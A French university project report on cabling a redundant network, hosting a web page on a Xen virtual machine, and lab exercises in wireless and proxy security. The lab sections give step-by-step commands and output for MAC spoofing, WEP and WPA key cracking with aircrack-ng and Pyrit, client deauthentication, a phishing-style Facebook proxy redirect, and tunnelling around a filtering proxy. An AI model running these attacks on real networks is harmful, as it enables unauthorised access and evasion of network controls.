PRA 2015 - Câblage d'un réseau redondant
Sommaire
Introduction
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.
Câblage du résau
Le réseau idéal
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.
L'avancement du cablage du réseau
L'image suivante détaille l'état du réseau avant le 07/10/2015.
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.
La partie commune
Création d'un site Web haute disponibilité
Installation de la machine virtuelle
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.
# cat /etc/xen/kwak.cfg kernel = '/boot/vmlinuz-3.14-2-amd64' extra = 'elevator=noop' ramdisk = '/boot/initrd.img-3.14-2-amd64' vcpus = '1' memory = '512' root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w', 'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w', ] name = 'kwak' vif = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ] on_poweroff = 'destroy' on_reboot = 'restart' on_crash = 'restart'
Ensuite, nous démarrons notre machine virtuelle.
# xl create /etc/xen/kwak.cfg
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).
# xl console kwak
Enfin, nous installons les services dont nous allons avoir besoin par la suite.
# apt-get install apache2 bind
Mise en place du service web
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: pinkfluffyunicorn.lol
<!DOCTYPE> <html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> </head> <body> <iframe style="position:absolute;top:0px;left:0px;" id="video" src="https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&showinfo=0&showsearch=0&iv_load_policy=3&autoplay=1" frameborder="0" allowfullscreen></iframe> <script> $(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' }); $(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });}); }); </script> </body> </html>
Tests de sécurisation de réseaux WiFi
Accès par filtrage MAC
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.
airodump-ng start wlan0
Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"
airodump-ng --essid baguette wlan0mon CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C4:14:3C:40:78:60 -63 9 0 0 4 54e. OPN baguette
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.
airodump-ng --essid baguette wlan0mon CH 4 ][ Elapsed: 18 s ][ 2015-10-22 13:29 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C4:14:3C:40:78:60 -52 100 146 1 0 4 54e. OPN baguette BSSID STATION PWR Rate Lost Frames Probe C4:14:3C:40:78:60 00:15:AF:E7:19:F3 -59 0 - 5e 0 1
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.
ifconfig wlan1 hw ether C4:14:3C:40:78:60
Accès par filtrage WEP
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.
#airmon-ng PHY Interface Driver Chipset phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571] #airmon-ng start wlan3 PHY Interface Driver Chipset phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571] (mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon) (mac80211 station mode vif disabled for [phy1]wlan3)
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.
#airodump-ng wlan3mon CH 9 ][ Elapsed: 0 s ][ 2015-11-12 11:58 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:23:5E:1E:05:48 -57 2 0 0 7 54e. OPN cracotte09 00:23:5E:1E:05:41 -56 3 0 0 7 54e. WEP WEP cracotte02 00:23:5E:1E:05:45 -57 3 22 0 7 54e. WEP WEP cracotte06 00:23:5E:1E:05:44 -56 2 19 0 7 54e. WEP WEP cracotte05 00:23:5E:1E:05:47 -55 3 42 0 7 54e. WEP WEP cracotte08 00:23:5E:1E:05:46 -55 1 67 0 7 54e. WEP WEP cracotte07 00:23:5E:1E:05:42 -56 2 67 0 7 54e. WEP WEP cracotte03 00:23:5E:1E:05:40 -57 2 98 0 7 54e. WEP WEP cracotte01 00:23:5E:1E:05:43 -58 4 99 0 7 54e. WEP WEP cracotte04 BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:CF:01:90 48:5A:3F:4C:37:61 -1 1e- 0 0 2 00:23:5E:1E:05:45 00:0F:B5:92:23:74 -64 54e-48e 2 21 00:23:5E:1E:05:44 00:0F:B5:92:23:6B -65 48e- 2e 89 9 00:23:5E:1E:05:47 00:0F:B5:92:23:71 -67 54e-54e 39 37 00:23:5E:1E:05:46 00:0F:B5:92:23:69 -63 48e-54e 6 63 00:23:5E:1E:05:42 00:0F:B5:92:23:6A -60 48e-54e 9 59 00:23:5E:1E:05:40 00:0F:B5:92:22:68 -55 36e-48e 9 94 00:23:5E:1E:05:43 00:0F:B5:92:23:75 -58 48e- 2e 145 93
Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon CH 7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:23:5E:1E:05:46 -64 17 1603 46339 201 7 54e. WEP WEP cracotte07
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.
#aircrack-ng *.cap Opening dmp-01.cap Read 110082 packets. # BSSID ESSID Encryption 1 00:23:5E:1E:05:46 cracotte07 WEP (6190 IVs) Choosing first network as target. Opening dmp-01.cap Attack will be restarted every 5000 captured ivs. Starting PTW attack with 6258 ivs.
Ensuite, nous générons plus de flux à l'aide de aireplay.
#aireplay-ng -5 -e cracotte07 wlan3mon No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0) 12:02:11 Waiting for beacon frame (ESSID: cracotte07) on channel 7 Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07". 12:02:11 Waiting for a data packet... Size: 70, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:23:5E:1E:05:46 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:0F:B5:92:23:69 0x0000: 8841 2c00 0023 5e1e 0546 000f b592 2369 .A,..#^..F....#i 0x0010: ffff ffff ffff c014 0000 f898 0e00 8065 ...............e 0x0020: 7e87 af6b e679 211e c9d6 1665 0b4f 7e2d ~..k.y!....e.O~- 0x0030: 6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35 l.-...?..1S./..5 0x0040: b7bd 03c5 5093 ....P. Use this packet ? y Saving chosen packet in replay_src-1112-120211.cap 12:02:13 Data packet found! 12:02:13 Sending fragmented packet
Et enfin, aircrack trouve la clé.
Aircrack-ng 1.2 rc2 [00:02:12] Tested 853 keys (got 40800 IVs) KB depth byte(vote) 0 0/ 9 55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) 1 0/ 1 52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) 2 0/ 1 55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) 3 13/ 3 79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) 4 1/ 4 CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] Decrypted correctly: 100%
Accès par filtrage WPA
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.
#!/usr/bin/perl my $ite = 0; my $max = 1000000; my $outp; my $tmp; for (my $j=0; $j < 100; $j++) { $tmp = sprintf("[%02d]\n", $j); print STDERR $tmp; for (my $i=0; $i < ($max); $i++) { $outp = sprintf("%08d\n", $ite); $ite++; print $outp; } }
Nous lançons donc la génération avec la commande
# ./gen.pl > dic.txt
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.
859M -rw-r--r-- 1 root root 859M nov. 13 09:41 dic.txt
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".
# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1
Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.
# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1
Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.
# aircrack-ng *.cap Opening dmp-01.cap Read 2370 packets. # BSSID ESSID Encryption 1 00:13:46:79:6A:1C Almost Secure WiFI WPA (1 handshake)
Attaque par dictionnaire
A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.
# aircrack-ng -w dico.txt *.cap Aircrack-ng 1.2 beta3 [00:58:30] 12121212 keys tested (3659.24 k/s) KEY FOUND! [ 12121212 ] Master Key : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62 F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45 Transient Key : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF 68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8 45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28 A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E EAPOL HMAC : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.
Attaque par Rainbow Tables
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.
# pyrit -e 'Almost Secure WiFI' create_essid Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Created ESSID 'Almost Secure WiFI'
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.
# pyrit -i ./dic.txt import_passwords Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. 100000000 lines read. Flushing buffers... .. All done.
Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.
# pyrit batch Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Working on ESSID 'Almost Secure WiFI' Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.
# pyrit benchmark Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Running benchmark (25147.5 PMKs/s)... \ Computed 25147.53 PMKs/s total. #1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8) #2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0) #3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0) #4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.
# pyrit batch Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Working on ESSID 'Almost Secure WiFI' Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.
Maintenant que la "rainbow table" est générée, nous lançons l'attaque.
# pyrit -r *.cap attack_batch Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Parsing file 'dmp-01.cap' (1/1)... Parsed 270 packets (270 802.11-packets), got 1 AP(s) Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically. Attacking handshake with station 00:0c:e7:41:68:29 Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second The password is '12121212'.
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.
Algorithme de génération de PMK
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le RFC 2898 de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:
- [PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
- [PASSWORD] Le mot de passe
- [SALT] Le salage (ici l'ESSID)
- [COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
- [LEN] La longueur du résultat de la fonction (ici 256)
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount
Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN)) U2 = PRF(PASSWORD, U1) ... Uc = PRF(PASSWORD, Ucount-1)
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le RFC 2104 de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:
- [KEY] la clé utilisée pour encoder le message
- [MSG] le message à encoder
- [H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
- [HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)
Le principe de fonctionnement est le suivant:
function HMAC(KEY, MSG, H, HLEN) if(length(KEY) > HLEN) KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H if(length(KEY) < HLEN) KEY = KEY || (0x00 * (HLEN - LENGTH(KEY))) opad_key = (opad * HLEN) ^ KEY; ipad_key = (ipad * HLEN) ^ KEY; return H(opad_key || H(ipad_key || MSG)
Dans cette fonction:
- L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
- L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
- L'opérateur ^ désigne l'opérateur XOR logique
- La variable opad est une constance valant 0x5C
- La variable ipad est une constance valant 0x36
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.
function SHA1(PASS) h0 = 0x67452301 h1 = 0xEFCDAB89 h2 = 0x98BADCFE h3 = 0x10325476 h4 = 0xC3D2E1F0 ml = message length in bits (always a multiple of the number of bits in a character). append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits. append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512) append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits. break message into 512-bit chunks for each chunk break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15 //Extend the sixteen 32-bit words into eighty 32-bit words: for i from 16 to 79 w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1 //Initialize hash value for this chunk: a = h0 b = h1 c = h2 d = h3 e = h4 //Main loop for i from 0 to 79 if 0 ≤ i ≤ 19 then f = (b and c) or ((not b) and d) k = 0x5A827999 else if 20 ≤ i ≤ 39 f = b xor c xor d k = 0x6ED9EBA1 else if 40 ≤ i ≤ 59 f = (b and c) or (b and d) or (c and d) k = 0x8F1BBCDC else if 60 ≤ i ≤ 79 f = b xor c xor d k = 0xCA62C1D6 temp = (a leftrotate 5) + f + e + k + w[i] e = d d = c c = b leftrotate 30 b = a a = temp //Add this chunk's hash to result so far: h0 = h0 + a h1 = h1 + b h2 = h2 + c h3 = h3 + d h4 = h4 + e //Produce the final hash value (big-endian) as a 160 bit number: hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4
Attaque Man In the Middle de Facebook
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.
Config Squid
acl allowedips src 172.16.1.0/24 http_access allow allowedips forwarded_for off http_access deny all cache_access_log /var/log/squid3/access.log cache_log /var/log/squid3/cache.log cache_store_log /var/log/squid3/store.log cache_dir ufs /var/spool/squid3 100 16 256 cache_mem 16 MB maximum_object_size 15 MB http_port 3128 cache_effective_group root url_rewrite_program /usr/bin/squidGuard shutdown_lifetime 1 second
Config Squidguard
dbhome /usr/local/squidGuard/db dest fb-login { urllist facebook/url } acl { default { pass !fb-login all redirect http://127.0.0.1/ } }
cat /usr/local/squidGuard/db/facebook/url
fr-fr.facebook.com
Contournement d'un proxy
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition "La nuit de l'info", nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.
# apt-get install openssh-server proxytunnel isc-dhcp-server
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.
# vim /root/.ssh/config Host perfectTunnel Hostname ADRESSE_IP_DE_NOTRE_SERVEUR User root Port 443 ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p
Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.
ssh \ -o PermitLocalCommand=yes \ -o LocalCommand="ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0" \ -o ServerAliveInterval=60 \ -w 5:5 perfectTunnel \ 'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.
# ping -I tun5 8.8.8.8 PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms ^C --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2002ms rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.
# route del default # route add default gw 12.24.48.1
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.
# ping 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms 64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms ^C --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3004ms rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).
# vim /etc/default/isc-dhcp-server INTERFACES="eth0" # vim /etc/dhcp/dhcpd.conf subnet 118.218.0.0 netmask 255.255.0.0 { range 118.218.1.1 118.218.254.254; option routers 118.218.0.1; option subnet-mask 255.255.0.0; option broadcast-address 118.218.255.255; option domain-name-servers 8.8.8.8, 8.8.4.4; } default-lease-time 600; max-lease-time 7200; authoritative;
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.
echo 1 > /proc/sys/net/ipv4/ip_forward
La partie bonus
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.
Utilisation de l'écran LCD
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.
Voici à quoi ressemble une de nos lettres :
const char letter_A[] PROGMEM = { 0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60, 0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81, 0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0, 0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.
Utilisation du lecteur de carte SD
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.
Communication avec le matériel Cisco
Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol (dont la documentation est disponible ici). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.
